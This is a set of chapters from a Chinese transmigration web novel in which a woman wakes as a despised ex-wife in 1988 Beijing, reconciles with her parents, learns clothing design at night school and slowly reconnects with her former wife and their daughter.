《京圈大佬的炮灰前妻(穿书)》 1. 金丝雀变丧家犬 清晨的阳光透过落地窗洒进来,裴苒睁开眼,感觉到后脑有种被人用重物狠狠敲击的痛感。她下意识地伸手想要揉一揉自己的头,手指触到皮肤的那一刻,却忽然顿住了。 这不是她的手。 她的皮肤更加粗糙,因为常年做粗活起了厚厚一层老茧,而不是现在这样——滑腻、纤细。 她猛地坐起来,丝绸被子从身上滑落,露出底下那件酒红色的真丝睡裙,吊带细细地挂在肩头,领口开得很低,锁骨下方一片瓷白肌肤就这样明晃晃的暴露在晨光里。 裴苒的心脏狂跳起来。她立刻翻身下床走到了水池前的镜子。 镜子里的女人大概二十六七岁,五官精致得不像真人。细长的眉毛下是一双杏仁似的大眼睛,嘴唇薄而分明,天然的带着几分凉薄的味道,一头乌黑的长发散落在肩头,衬得那张脸愈发白皙,也愈发动人心弦。 这不是她的脸。 裴苒盯着镜子里那个不属于自己的倒影,脑子像被无数根针扎般的疼。在疼痛袭来的瞬间,大量信息如潮水般涌入她的意识—— 她叫裴苒,是快穿世界的一名攻略者,而她要攻略的对象,正是这本名叫《京华烟云》的年代文中白手起家的商界奇才——周漾。 也是,她的前妻。 《京华烟云》是一本以八十年代为背景的年代文。女主周漾从一个破产的小工厂主一步步爬到了京圈大佬的位置。而裴苒,就是那个在周漾最落魄的时候抛妻弃子、跟着有钱金主跑了的嫌贫爱富的恶毒女配。她趋炎附势,恃强凌弱,是整本书里最让人厌恶的角色之一,当然,最后的结局也最惨。年老色衰后,她被金主抛弃,又转头纠缠前妻,最终落得个众叛亲离的下场。 裴苒用力地摇了摇头,试图让混乱的思绪变得更加清晰。 她的任务是让周漾爱上裴苒,可现在的时间节点,分明已经是周漾功成名就之后了! 难道,她穿错了时间,竟然直接越过了周漾破产的环节,直接进入了下一阶段! 现在的自己,不仅“年老色衰”、还被金主抛弃,想方设法地纠缠前妻试图复婚。 这是什么地狱开局? 她低头看了看自己的手,十指纤长白皙,看起来保养得宜,不像是吃过苦的样子。她又抬头看了一眼镜子里的脸,没有任何细纹,皮肤紧致光滑,分明是一张不到三十岁的脸。 好像也没有书里说的那么“年老色衰”嘛.... 她的大脑飞速运转着,试图从这些破碎的信息中拼凑出更多细节。 他们是在哪一年结的婚?又是哪一年离的婚?周漾又是哪一年翻的身…… 这些时间线在她脑海里交织重叠,就像是一团又一团打结的毛线球。 就在这时,一阵刺耳的电子铃声打破了她的思绪,手机屏幕上跳动着两个字:念念。 裴苒盯着这两个字看了三秒钟,脑子里迅速检索着这个称呼对应的信息。 念念...周念。 是裴苒和周漾的女儿。 书中关于这个孩子的描写并不多,大多数时候她只是裴苒用来要挟周漾的工具,一个可怜的、被母亲当作筹码的小女孩。 裴苒犹豫了一瞬,接起了电话。 电话那头传来的声音让她的心脏猛地漏跳了一拍,那是一个小女孩的声音,软糯糯的,带着一种小心翼翼的讨好:“妈妈,今天你能来接我吗?” 在听见周念声音的一瞬间,裴苒感觉自己的喉咙像是被什么东西堵住了,一种奇异的温暖的感觉充斥着她的内心。 “妈妈?”电话那头的小女孩又叫了她一声,这一次,她的声音里多了一丝不确定和一丝极力掩饰的委屈,“妈妈,你又要忙了吗...” “我在。”裴苒听见自己说。 小女孩似乎松了一口气,声音里重新带上了一点雀跃:“妈妈,你之前说今天要来接我去游乐园玩,是真的吗?念念想坐旋转木马...” 裴苒攥紧了手机,她脑海中明明没有和这个“女儿”相关的任何记忆,可当她听见那个声音的瞬间,胸腔里涌起的那股酸涩和柔软却又如此真实。 “记得。”裴苒的声音轻得像一片落在水面上的花瓣,“妈妈记得。念念等着妈妈,妈妈一会儿就来接你。” 电话那头传来一声小小的、压抑不住的欢呼,“妈妈,念念等你。” 电话挂断。 裴苒握着手机站在落地窗前,她看着手机屏幕上“念念”两个字慢慢暗下去,忽然意识到一个刚才没有来得及细想的问题。 在那些疯狂涌入她脑海的信息里,几乎都是关于“周清”的,可关于“裴苒”本人的记忆却少之又少。 她记得自己是攻略者,也记得自己要完成攻略任务,可她却记不起“裴苒”身边的人长什么样,记不起前妻周漾,更记不起女儿周念.... 那些记忆就像是一张被水泡过的纸,叫人完全看不清楚。 然而刚才接起电话的那一刻,她的身体比她的意识更快地做出了反应。 对女儿的爱,是刻在这具身体融入骨血的本能。 裴苒闭了闭眼,再睁开的时候,镜中那张美丽的脸上已经没有了刚才的茫然。她深吸一口气,转身走向衣帽间,开始在里面翻找适合出门的衣服。 她的手在衣架上快速地拨动着,忽然停住了。 衣架最深处挂着一件灰色的大衣,款式简单,颜色沉闷,和周围那些装饰精致、色彩明亮的衣服格格不入。 裴苒握住那件大衣的袖子,一个画面忽然从脑海中一闪而过——一件灰色大衣被随意地扔在沙发上,一个女声带着厌恶和嫌弃说:“你好歹曾经也有点钱,穿这种地摊货,丢不丢人?” 那是“裴苒”自己的声音。 这件大衣也不是她的,而是周漾的。 裴苒苦笑一声,看来两个人的关系确实很差呢。 没了选衣服的心情,裴苒随便挑了一件米白色的风衣套在身上,转身走出了衣帽间。 经 过客厅的时候,她随意扫了一眼茶几上的报纸。报纸的日期赫然在目——1988年10月17日。这个日期在她脑中和一条信息严丝合缝地扣在了一起:周漾的公司“漾华实业”在半个月前刚刚完成了一笔轰动京城的收购案,正式从破产边缘的落魄工厂主,蜕变为京城商圈不可忽视的新贵。 前妻功成名就,而自己这个恶毒女配却声名狼藉,这个时候跑回去抱大腿,让她怎么抱? 原著里的裴苒都把事做绝了,离婚的时候卷走了周漾所有的钱,就连孩子也不要,迫不及待的就投入了新金主的怀抱。 如果她是周漾,怕不是会对自己恨之入骨。 结果现在人家飞黄腾达了,她又跑回去求复合?不送她一句“滚。”都算周漾没出息, 裴苒抓了抓头发,拿起玄关上的车钥匙和包包,推门走了出去。 走廊很长,铺着深灰色的厚重地毯,将脚步声完全吸收,等她走到电梯口,才发现那里站着一个女人。 那人穿着深灰色西装外套,一头黑发利落地扎在脑后,露出深邃立体的五官,对方凌厉的视线向她射来,透着一股生人勿近的冷感 四目相对的一瞬间,裴苒的脑子里炸开了烟花。 周漾。 她就是原著里的女主,那个京圈商界新贵,她的前妻。 周漾只是看了她一眼就收回目光,从电梯里走了出来。 两人擦肩而过的瞬间,裴苒闻到了一股淡淡的冷杉木香水味,清冽得像冬天的风。 她下意识地回头,周漾已经走到了裴苒住的那间公寓的门口。她从怀中取出一把钥匙插入锁孔,整个动作行云流水,像是做过无数遍。 周漾走了进去,没有关门。 裴苒站在电梯口,进退两难。 走廊里静得能听到公寓里传出的细微声响,然后,是打火机的“咔嗒”声。 “进来。” 裴苒的心猛地跳了一下。 那声音不是命令,也不是邀请,周漾笃定她一定会站在那里,一定会听到,一定会进来。 裴苒硬着头皮,又重新走了回去。 周漾正站在客厅的落地窗前,手里夹着一根还没点燃的烟,逆光里,她的轮廓像一幅画,冷硬而疏离。 “赵婉清上周去了香港。”周漾的声音不紧不慢,像是在说一件无关紧要的事,“她说这间房子月底前要腾出来。” 裴苒的大脑飞速运转。 赵婉清,就是那个原著里包养裴苒的京圈大佬。 原著里确实有这个情节,赵婉清把裴苒甩了,房子车子全部收了回去,卡都停了。裴苒一夜之间从金丝雀变成了丧家犬。 周漾转过身来,目光落在裴苒身上,依然是那种毫无波澜的平静。 “离婚的时候你说过,这辈子死也不会再出现在我面前。” 她把那根没有点燃的烟扔进了垃圾桶,薄唇微启,声音凉薄得像初冬的霜: “说吧。这次又想要多少钱?” 6. 赵婉清的监视 被前妻无情扔在路边后,裴苒转身朝公交站走去。 她得回赵婉清的公寓一趟,把行李拿出来。昨晚住进周漾家太匆忙,只带了随身的东西,大部分行李还在公寓里。 老旧的公交车晃晃悠悠地开了二十分钟,到达公寓站点的时候,已经到了午饭时间。 她坐电梯上了楼,走到那扇熟悉的门前,熟练的掏出钥匙—— 插不进去。 裴苒愣了一下,又试了一次。 还是插不进去。 锁被换了。 她盯着那个崭新的锁孔,心里“咯噔”一下。 就在这时,身后传来一个声音:“裴小姐?” 裴苒回头,看到一个穿着职业装的女人站在走廊里,手里拿着一个文件夹。裴苒搜索一圈自己混杂的记忆,终于想起她是谁。她是赵婉清的助理,魏雪。 “赵总让我在这里等您。”魏雪的脸上带着职业化的微笑,“这间房子的锁已经换了,您的行李已经被打包好了,放在走廊尽头的消防通道里。请您尽快取走。” 裴苒顺着助理的手指看过去,走廊尽头,消防通道的门开着,里面堆着两个行李箱和一个纸箱。是她至今为止全部的东西。 魏助理似乎非常熟练的替老板解决金丝雀问题,语速很快:“那些珠宝首饰是你们关系续存期内赵总免费赠与您使用权,现在关系到其需要全部收回,您这边没有意见吧?” 对方假模假样的询问裴苒的意见,但她只是个没有脑子的金丝雀,就算不满意这样的处置方法又能怎么办?胳膊还能拧过大.腿不成? 裴苒忍不住在心里暗骂这个赵婉清可真是个抠门的周扒皮,竟然真的一样都不给她留! “另外,”魏助理从文件夹里抽出一张纸,递给裴苒,“这是赵总让我转交给您的。” 裴苒接过来,是一张支票,金额不大,甚至还没有周漾之前给她的支票金额大。 “赵总说,念在旧情的份上,这点钱算是分手费。以后,请您不要再联系她了。” 裴苒本来没准备能从前金主这里捞到点什么,对方能给自己支票已经算是意外之喜了,不要白不要。她把支票塞进口袋,语气平静的问:“还有什么别的事吗?” 魏雪愣了一下,大约是没想到裴苒的反应竟然会这么平淡。 按照她对这个贪慕虚荣的女人的了解,裴苒应该会哭、会闹、会求着要见赵婉清,借机捞一笔更大的金额才对。 向来办事周全的魏助理难得卡壳了:“就...这些。” 裴苒点点头,毫不留恋的走到消防通道,拉起行李箱的拉杆,又拎起那个纸箱。箱子比她想象中重,她踉跄了一下,差点没站稳。魏雪眼疾手快的伸手扶了她一把。 “谢谢。”裴苒快速稳住身形,躲了一下。 电梯门打开,她拖着行李走了进去,镜面墙壁上映出她狼狈的脸。 小七的声音在脑海里小心翼翼地响起:“苒苒,你还好吗?” 裴苒实话实说:“不是很好。”最重要的是,她不知道自己现在应该去哪里。 原主当初抛妻弃子,和父母朋友全部闹掰了,现在,除了周漾那里,她根本找不到一个能接纳自己的地方。 但这些人里,她唯独不想找周漾。 “要不...”小七试探的问:“你联系一下原主的父母?”这种落魄的时候,除了父母,应该也没有任何人能够接纳她了吧。 裴苒坐在花坛边犹豫着,行李箱靠在腿旁,秋风吹乱了她的头发。 “妈妈”两个字在通讯录里安安静静地躺着,她的手指却悬在屏幕上方,迟迟没有按下去。 虽然知道这样啃老很不地道,裴苒咬了咬嘴唇,犹豫再三,最终还是按下了拨出键。 本以为会是一长串无人接听,但电话铃声仅仅响了两声就接通了。 裴母李秀兰的声音从听筒里传来,带着一丝不确定,还有一丝小心翼翼的期待。像是怕这个电话是打错了,又怕自己听错了。 “苒苒?” 明明这是原主的母亲,并不是自己的母亲,但裴苒的鼻子还是一酸,眼眶不由自主的红了起来:“妈....” 电话那头沉默了一瞬,然后李秀兰的声音立马变得焦急起来:“苒苒,你怎么了?出什么事了?” 裴苒张了张嘴,却发现自己无论如何都说不出口。 当初走得那么绝,抛妻弃子,连头都没回。三年不回家,电话都没给父母打过。现如今被金主甩了,又灰溜溜地跑回来,实在是丢脸。 李秀兰在电话那头急疯了:“苒苒?你说话啊!你别吓妈!” 裴苒闭上眼睛,声音哽咽:“没什么。妈,我就是有点想你们了,能不能先回家住一段时间...” 说完这句话,裴苒整张脸都因为羞愧而烧的通红。 她等着母亲骂她。 骂她活该,骂她咎由取,骂她当初放着好好的日子不过,非要跟野女人跑,现在被甩了才知道后悔。 可李秀兰没有骂她。 听到女儿没事,只是想回家看看,她像是松了口气,声音也平复下来。 “这是你家,你想什么时候回来就什么时候回来,妈和你爸你哥都在呢,房间一直给你留着,妈每天都打扫的可干净了,今晚让你爸给你多做几个爱吃的菜,记得早一点回来啊。” 听到母亲的话,裴苒的眼泪像断了线的珠子,再也忍不住,啪嗒啪嗒落在手机屏幕上。 “妈,对不起……” “别说对不起。”李秀兰的声音也在抖,“你回来就好。你爸那儿我去说,你别怕。” 这些年,她伤了所有人的心,本以为家人也会放弃她,没想到他们一直都等着自己回去。 电话挂断。裴苒握着手机一个人冷静了一会,等眼睛不红后,她才站起来,拖着行李箱往公交站走。 她没有打车——毕竟现在不比从前,每一笔钱都得省着点花,更何况周漾和裴苒给自己的这笔钱,她还另有作用。 老旧的公交车晃晃悠悠地开了将近一个小时,终于到了老城区的边缘。 裴苒下了车,拖着行李箱走在巷子里。 这条巷子她太熟悉了。 青砖灰瓦的老房子,墙根长着青苔,巷口那棵老槐树比她记忆中的粗了一圈。秋天叶子落了满地,踩上去沙沙作响。 她走到一扇褪了色的红漆木门前,停下来。 门没有关严,虚掩着,像是在等待着回归的故人。裴苒深吸一口气,推开了门。 院子里,李秀兰站在台阶上,围着围裙,手里还拿着锅铲。 看到裴苒的那一刻,她的眼眶一下子就红了。 “苒苒——” 李秀兰快步走过来,一把抱住了裴苒。 锅铲硌在裴苒的后背上,有点疼,但她没有躲。她趴在母亲肩头,闻到了熟悉的皂角味道。 “妈……”她的声音闷闷的,说不出的委屈。 “瘦了,瘦了好多。”李秀兰摸着她的脸,眼里是止不住的心疼,“你这孩子,怎么把自己饿成这样了……” 裴父裴建国站在门口,穿着一件洗得发白的灰色夹克,头发花白了大半。他看着在门外抱成一团的妻女嘴唇动了动,想说什么,最终只说了一句: “站在外面像什么样子?快进来说话。” 声音不大,有种故作威严的‘装凶’。 李秀兰拉着裴苒的手往屋里走,一边走一边絮叨:“你爸听说你要回来,特意去菜市场买了条鲈鱼。他记得你爱吃。” 堂屋的方桌上摆了满满一桌子菜。 红烧肉、清蒸鲈鱼、糖醋排骨、炒青菜、番茄蛋汤,每一样都是裴苒爱吃的。 裴建国已经坐下了,面前的碗筷摆得整整齐齐。李秀兰把裴苒按到椅子上,给她盛了一大碗米饭:“多吃点,你看你都瘦成什么样了。” 裴建国始终没有说话,只是闷头吃饭。但他的筷子总是“不小心”伸到那盘清蒸鲈鱼旁边,夹起最肥美的鱼肚子肉,然后“不小心”放到了裴苒碗里。 裴苒低头看着碗里堆成小山的鱼肉,眼眶又红了。 “爸,够了,我吃不了那么多。” 裴建国“哼”了一 声:“吃不了就剩着。”说完,又给她夹了一块排骨。 李秀兰在旁边偷偷笑了。 吃完饭,李秀兰去厨房洗碗,裴建国就坐在客厅看电视。电视的声音开得很大,但他的眼睛却根本没看屏幕,余光一直瞟着裴苒,似乎很想知道女儿这些年在外面的变化。 过了大概十分钟,裴建国忽然站起来,走进里屋,拿了一床被子出来,塞给裴苒。 “你妈把房间都收拾好了,被子是新弹的棉花,暖和。累了就早点休息。” 裴苒抱着被子,鼻子酸得不行:“谢谢爸。” 裴建国的脚步顿了一下,“嗯”了一声,然后进了主卧,关上了门。 李秀兰从厨房出来,擦了擦手,拉着裴苒回她自己的房间。 裴苒的房间不大,但收拾得很干净,床单是新换的,枕头拍得蓬松,床头柜上放着一盏台灯,墙上还贴着一堆旧相片。 裴苒好奇的走到那叠旧相片前,试图通过这些旧相片回忆起属于‘原主’的记忆。 贴在第一张的,是一张黑白照片,一个年轻的女人抱着一个婴儿,笑得很温柔。照片里的女人是裴苒的母亲李秀兰。 裴苒指着那个婴儿,语气有些惊讶:“这是我?” 李秀兰在旁边坐下,“是呀,那时候你才八个月大。” 随着她的视线向后移,照片里的女孩越来越大。李秀兰指着一张裴苒坐在院子里吃西瓜,脸上全是西瓜汁,笑得没心没肺的照片,充满回忆的说:“这是你三岁的时候。” “那年你爸在院子里种了一棵葡萄,你非说要吃西瓜,他就只好去菜市场给你买了一个最大的西瓜,假装系在葡萄藤上,说这是葡萄藤结出来的西瓜。” 裴苒继续向后看,看见一张自己和哥哥裴磊、裴建国、李秀兰,三个人的合照。 她盯着照片里一家四口的脸,又看了看自己的脸,随口说了一句:“妈,我怎么感觉我和你们长得一点都不像啊?” 她美的实在太出众,根本不像是在这个家庭里出声的孩子。 说者无心,听者有意。 李秀兰的脸色有一瞬间微变,但很快恢复原样:“小时候邻居们都说你是中了基因彩票,一家人里就属你最好看,以后能当模特呢!” 长大后的裴苒没能当模特,但却给金主当了小三。 想到这,裴苒羞愧的低下了头。 李秀兰又说:“都说隔辈亲,其实你长得像你姥姥,只是你姥姥去世的早,没有留下照片,不然你一看就知道了。” 裴苒对自己的姥姥确实没什么印象,从小到大,她都没见过姥姥,此刻听到李秀兰这么说,也就信以为真。 “时间不早了。”李秀兰站起身,“你早点休息,明天我让你哥回来吃饭。” 裴母脚步声急促地离开了,裴苒抬头看着墙上的相册,又看了看关上的房门,心里不由得嘀咕起来。她只是随口说了一句“和你们长得不像”,至于这么大反应吗? “小七。”她在脑海里喊了一声。 “我妈的反应是不是很奇怪?” 系统沉默了一会,小心翼翼的说:“没有吧...” 裴苒感觉系统似乎对自己有所隐瞒,但也没有多问,今天她实在是太累了,没有多余的心力去想起他事,只想躺在床上好好睡一觉。 但她不知道的事,此时此刻,巷口拐角处,一辆黑色的轿车就安静地停在那里。 赵婉清的助理魏雪拿出手机给赵婉清打了个电话:“赵总,裴小姐回了父母家。” 电话那头的赵婉清停顿了一下,很快吩咐道:“盯着点,不要让任何赵家的人接近她。” 魏雪应了声:“是。”她不明白赵总为什么对一个被甩掉的金丝雀这么紧张,甚至专门派自己来盯梢。 但她没有多问。 赵总的秘密,除非她想死,不然还不想知道。 既然她让自己在暗中盯梢保护好裴苒,那她就做好自己职责范围内的事。 漫漫长夜,才刚刚开始。 裴苒还不知道,属于她的新的暴风雨,即将来临。 8. 裴苒的天赋 夜校报名处设在工人文化宫的一楼大厅,裴苒和宋青青到的时候,前面已经排了十几个人。 宋青青看见长长的队伍,瞬间目瞪口呆:“怎么这么多人?难道他们都跟我们一样上进?” 裴苒拉着她排到队尾,笑道:“这不是挺好的,说明大家都在努力。” 宋青青哼哼唧唧地掏出报名费,嘴里嘟囔着:“我可是把自己的私房钱都砸进来了,要是学不到东西,我肯定投诉他们骗钱。” 裴苒没说话,低头填自己的报名表。 服装设计班,学费一百二,每周二四六晚上七点到九点。她把表格交上去的时候,手微微有些抖。不是因为紧张,而是因为激动。 她有预感,她的人生很有可能会因为这次选择,走向一个完全不同的结局。一个,不需要依赖任何人也能过得很好的结局。 在她填表的时候,负责招生的老师见她字写得极漂亮,随口问道:“你以前学过书法吗?” 裴苒摇摇头:“没学过书法,但学过一段时间的素描。”两者控笔的方式总有异曲同工之妙。 女人点了点头,没再多说,把收据递给她:“周二晚上来上课,别迟到。” 裴苒接过收据,上面盖着“工人文化宫”的红章。她把收据小心地折好,放进口袋里。 宋青青报的是商业企业管理,教室在二楼。两个人约好下课后一起回家,然后各自去了自己的教室。 周二晚上七点,裴苒准时出现在服装设计班的教室里。 教室不大,摆了十几张桌子,坐了大概二十来个人,大多是年轻姑娘,也有几个中年妇女。裴苒找了个靠窗的位置坐下,拿出本子和铅笔。 很快,一个穿藏蓝色外套的女人走了进来,短发,戴着一副黑框眼镜,手里拎着一个布袋子。她把布袋往讲台上一放,转过身来。 裴苒认出来了——是报名处那个问她“学没学过书法”的女人。 “我叫林月,是你们这门课的老师。”她的声音不大,但很清楚,“以前在服装厂做了十五年设计师,现在退下来教课。我不跟你们废话,直接上课。” 工作辛苦一天还肯在晚上抽出时间来夜校学习的,都是心里装着一股子拼劲,努力上进的学生。林月的话刚一说完,教室里立马就安静了,所有人都聚精会神的看着她,听她讲课。 林老师从布袋里掏出一沓画稿,钉在黑板上。是几件衣服的款式图,线条流畅,比例精准。 “这是你们这学期要学的内容。第一节课,我不讲理论,你们先画。”她看着全班同学,“画一件你最喜欢的衣服,随便画,什么款式都行。” 教室里响起窸窸窣窣的声音,大家都开始动笔。 裴苒握着铅笔,盯着空白的本子,脑子里一片空白。 画什么? 她想到店里的衣服,想到那些改了版就卖爆的款式,她的手不自觉地动了起来。 铅笔在纸上沙沙地响。 她画了一件风衣。 不是普通的风衣。这件风衣的领口比常规的低了两公分,腰带的位置往上提了一寸,下摆微微外扩,走起路来会带出一点弧度。整体线条利落,不拖泥带水,但又带着一种说不出的温柔。 画完最后一笔,裴苒自己都愣了一下。 这不是她见过的任何一件衣服。这是她脑子里长出来的。 林老师走到她身后,站住了。 她没有说话,就那么站着看了大概十几秒。裴苒被她看得心里发毛,忍不住回头看了一眼。 林老师的表情没有变化,但她伸手拿起裴苒的本子,举到眼前仔细看了看,把本子放下后,又深深看了裴苒一眼,说了一句:“不错。” 就两个字。 但裴苒注意到,她把那页折了一个角。全班二十几个人,她是唯一一个被折角的。 下课的时候,宋青青在文化宫门口等她,一见面就问:“怎么样怎么样?老师凶不凶?” 裴苒把课堂上设计的样稿给她看。宋青青看了一眼,嘴巴直接张成了O型:“这是你画的???苒苒,你是不是被什么东西附身了?” “这衣服要是能打个样出来,肯定会卖疯的!” 裴苒倒是不觉得自己画的有什么特别的,说实话,她对自己是不是真的有设计天赋这件事心里很没底,有些不好意思道:“哪有你说的这么夸张,我就是随便画一画。” 但宋青青却盯着这幅画不放手,“苒苒,这衣服的设计稿,你卖给我吧,我去找人打样打出来,先试卖几件,要是卖得好,就找工厂做量!” 裴苒没想到宋青青竟然说真的,她没准备收对方设计费:“你喜欢就拿去用好了,你在我最困难的时候接纳了我,我怎么还能收你的钱。” 宋青青立刻摇头:“不行,亲兄弟还要明算账呢,我既想和你做长久的朋友,也想和你做长久的生意。” “苒苒,以后你设计的衣服,能不能全给我出售?我不买断,未来你想卖给谁就卖给谁,我给你分成,每卖出去一件衣服扣掉成本,我就分你一半,成不成?” 裴苒所熟知的设计费基本都是买断的,像宋青青说的这种分成的方式很少,作为老板的宋青青也会亏很多钱,对方是开出了高价,真心想要和自己一起共创事业。 裴苒脸上的表情也正色起来:“青青,如果你相信我的能力,以后我设计出来的衣服就只交给你卖,不外售给任何人。” 宋青青一把抓住她的双手,满脸喜悦:“就这么说定了!” 确定好彼此的心意后,两个人骑着自行车穿过夜晚的城市。途中路过周漾公司楼下,宋青青“咦”了一声,“这不是你前妻的公司吗?”裴苒这才抬头看了一眼,恍然间发现,自己竟然已经很久很久没有想到周漾了。 系统小七在她的脑海里幽幽的说:“我还以为你已经忘记攻略任务了呢....” 亲爱的宿主,你再这么进步下去,马上下一个京圈大佬就要变成你了啊!!! 裴苒公司顶层的灯还亮着,看来她工作很忙。想到女儿念念,裴苒心里有些酸涩。也不知道念念最近过得怎么样,有没有好好吃饭。 裴苒问:“小七,如果我不做攻略任务会怎么样?”系统的任务是让她重新攻略周漾,让对方爱上自己,两人复婚,她再次变成从前那个十指不沾阳春水只会花钱的花瓶妻子。 可现在,她觉得靠自己的双手创造财富,比依赖其他人讨生活更值得尊重。 小七见裴苒这段时间一直忙于工作,还以为对方是想‘改变自己’让周漾大吃一惊,然后让周漾认 为‘女人,你变了好多,你和以前好不一样,我好像又重新爱上你了’,然后两人顺其自然的和好。 没成想,裴苒心里压根就没想过要和好的事。 “你...”小七有点急了:“你要是不完成任务,你就只能永远留在这个世界了,你再也回不去原来的世界了!” “你别忘了,你是攻略者,只有完成攻略任务才能回家呀!” 裴苒没说话,不知道为什么她对自己身为攻略者的那些记忆感觉很陌生,就像是被人强行用电脑把那些记忆输入进了自己的脑海里去,她记得清楚,却觉得经历那些记忆的人并不是自己。 相反,她对这个世界的记忆虽然很模糊,但对这里的每一个人,都感到无比的熟悉,就好像,她一开始就属于这里一样。 但是这些话她没有和系统说,偷偷藏在了心里。 日子就这么一天天过去了。 裴苒白天在宋青青的店里上班,晚上就去夜校上课,回家后再画两个小时的稿子。她的画功进步很快,已经能够独立设计许多衣服了。 宋青青也不甘落后,商业管理的课一节没落,笔记记了厚厚一本。她甚至开始自学财务知识,说要“把账算得明明白白”。 随着服装店的收入水涨船高,裴苒原本的15万存款如今早已翻倍,在这个年代,这笔钱已经足够她吃穿不愁很久了。 这天下午,裴苒正在店里整理货架,手机忽然震了一下。 竟然是许久没有联系的周漾发来的消息:“周六念念生日,她说想让你来陪她。” 这段时间裴苒忙得脚不沾地,连日历都没翻过,念念过生日她都差点忘了。 她迅速给对面回了个电话,电话那头的周漾接的很快,但不知道是不是许久没有联系的缘故,她的声音听起来有些不自然。 “喂,有什么事吗?” 其实裴苒也不知道自己为什么要给周漾打电话,明明念念过生日这种事,打电话也能说清楚的。 她尴尬的问:“那个,念念过生日,我要不要准备什么?” 毕竟是京圈大佬的女儿,说不定人家准备给小公主办个生日会呢,自己要是穿得太磕碜可不好。 “就在家里简单过一下,你人来就行,不用准备什么。” 听到周漾疏离的语气,裴苒有些泄气,对面见她没说话,很快挂断了电话。 小七怒其不争:“你怎么不借机和对方多说几句话,多聊聊女儿不是挺好的。” 裴苒:“你没听出来人家根本不想和我多说话吗?” 或者说,如果不是为了女儿,对方根本不可能给自己发消息的吧,之前还说过再也不想见到自己之类的话。 小七:“其实我感觉周漾对你还是有感情的。”系统为了攻略任务还在继续胡言乱语,试图扭转裴苒的心态。 但裴苒早就没有想攻略对方的心思了:“我和她之间,能把女儿一起抚养长大,已经是最好的结局了。”她不奢望能和周漾复婚,但也不希望对方太恨自己。 比起攻略任务,她现在有意见更发愁的事情。 那就是,周念要过生日了,裴苒准备给她做一身前无古人后无来者的漂亮衣服。可是目前,她只会画图纸,还不会做裁缝。 这可怎么办才好? 17. 重新开始比彻底结束更难 两人从幼儿园门口出来的时候,念念还回头张望了好几次。 裴苒站在铁栅栏外面冲她挥手,看她背着小书包一蹦一跳地走进教学楼,马尾辫在晨光里晃来晃去,直到那个小身影拐进走廊看不见了,裴苒的手才慢慢放下来。 “她今天很高兴。”周漾站在旁边,声音很轻。 裴苒嗯了一声。 这还是她有记忆力以来,第一次送女儿去上学。 而这普普通通的一天,本该是她的日常,如今却成了难得的奢求。 早上的阳光穿过幼儿园门口的梧桐树,碎成一地光斑。两个人站在树下,隔着一臂的距离,谁也没动。来接孩子的家长陆陆续续散了,只有几个爷爷奶奶拎着菜篮子站在路边聊天。 “走吧。”周漾打破沉默,开车带她离开。 裴苒离开前,周漾转的目光落在她的领口很久没有移开。 裴苒今天穿的是一件圆领的薄毛衣,领口刚好遮住锁骨。但早上出门急,领子有点歪,恰好露出一小截锁骨的雪白皮肤。 那上面有一块暗红色的痕迹。 是她昨晚的杰作。 周漾看了两秒,伸手把她歪掉的领口轻轻拉正。她的手指很轻,没有碰到她的皮肤,只是捻着衣料的边缘,像是在整理一件易碎的东西。 “你等下。”她说。 周漾把车停到路边,又从路边的药妆店买了一盒创口贴。她拆开包装,撕掉背胶,往前一步,两个人之间的距离瞬间缩短到咫尺之间。 “不用——”裴苒下意识想躲开。 “别动。” 周漾的声音不大,却很有力量,裴苒原本还想挣扎的动作一下子停止了。 她任由对方把创口贴贴在她锁骨上方。 周漾的手指很凉,大概是在外面站久了的缘故。指腹碰到她颈窝的时候停了一瞬,裴苒的身体不自觉的缩了一下。 “凉吗?”她问。 裴苒摇摇头。 周漾把创口贴按平整,按完之后手指没有立刻移开,轻轻压着那一小块肉色反复摩挲,像是在看一件由她自己制造的艺术品。 裴苒屏住呼吸。她能感觉到她指尖的温度正在从凉变暖,能闻到她身上淡淡的洗衣粉味道。她抬眼看她的时候,发现她也正在看她—— 周漾的睫毛在晨光里投下一小片阴影,眼睛里的情绪晦涩不明,像有无数情话想要宣之于口。 裴苒莫名觉得有些脸热,她结巴道:“又不是伤口,有什么必要贴创口贴,真是小题大作。” 周漾收回指尖。 她贴创口贴不是为了疗伤,而是不想裴苒身上被自己弄出的痕迹,被其他人看见半分。 “今天不许摘下来。”她的声音很低,还带着一种不容置疑的决断。 裴苒觉得她莫名其妙:“凭什么……”她的伤口她想摘就摘,“你算我什么人,管得着吗?” “反正你也什么都不记得了。”一个什么都不记得的人还要求这么多。真是过分。 但这个创口贴,她到底还是没有摘下来。 主要是她一会还要去宋青青的店里,她也不想被别人发现自己身上的痕迹。 裴苒下了车,宋青青正坐在工作室一楼的柜台后面吃包子。 看到裴苒推门进来,她举着半个包子打招呼:“苒苒你来了,吃早饭了吗?” 她目光精准地落在裴苒的领口。 那个创口贴贴的位置实在太微妙了——刚好在锁骨窝的上方,领口遮不住,但也露不全,若隐若现的一小块肉色。 宋青青放下包子,绕过柜台,凑近了盯着那个创口贴看了两秒。然后抬起头,表情像是在审案子。 “这是什么?”宋青青瞪大眼睛,仿佛不敢相信自己的眼睛。 “创口贴。”裴苒面不改色地换鞋。 “我知道是创口贴。我是问——创口贴为什么贴在锁骨上?” 裴苒走进工作室,给自己倒了杯水。宋青青跟在后面,包子也不吃了,就抱着胳膊靠在门框上。 “你昨晚干嘛去了?” 裴苒喝了口水,知道躲不过去。 “……昨天晚上在周漾家,她喝了点酒,我也喝了点。” 宋青青的表情纹丝不动,但眼睛眯了起来。 “然后。” “然后就是——那个。”裴苒用手指比划了一个含糊的动作,大概意思是“你知道的”。 “我不知道。”宋青青故意说,“你说明白点。” 裴苒放下水杯,叹了口气:“喂,我要生气啦……” “喂,我也要生气啦……”宋青青学她的语气。 两个人对视了几秒,裴苒绷不住,先笑了出来。 宋青青也笑了,她上前一步把裴苒按在沙发上,自己拉过椅子坐在对面。 “从头讲!”裴苒抱着靠垫,把昨晚的事大概说了一遍。 宋青青的表情从吃瓜变成皱眉,从皱眉变成无语。 “等会儿,周漾说她不记得了,然后又给你转了一万块?” “嗯。” “不记得了为什么要转钱?” “不知道。” 裴苒觉得,“可能是不好意思,也可能是觉得用钱打发我比较省事。”毕竟自己嫌贫爱富的贪财人设可谓是深入人心。 宋青青深吸一口气,又问:“然后呢?创口贴怎么回事?” “送完念念出来,她买了个创口贴给我贴上了。” “就没了?” “真没了,我该交代的全都交代完了。” 宋青青往后靠在椅背上,有一点恨铁不成钢。 “你相信周漾不记得?” 裴苒倒是没有往这方面想。 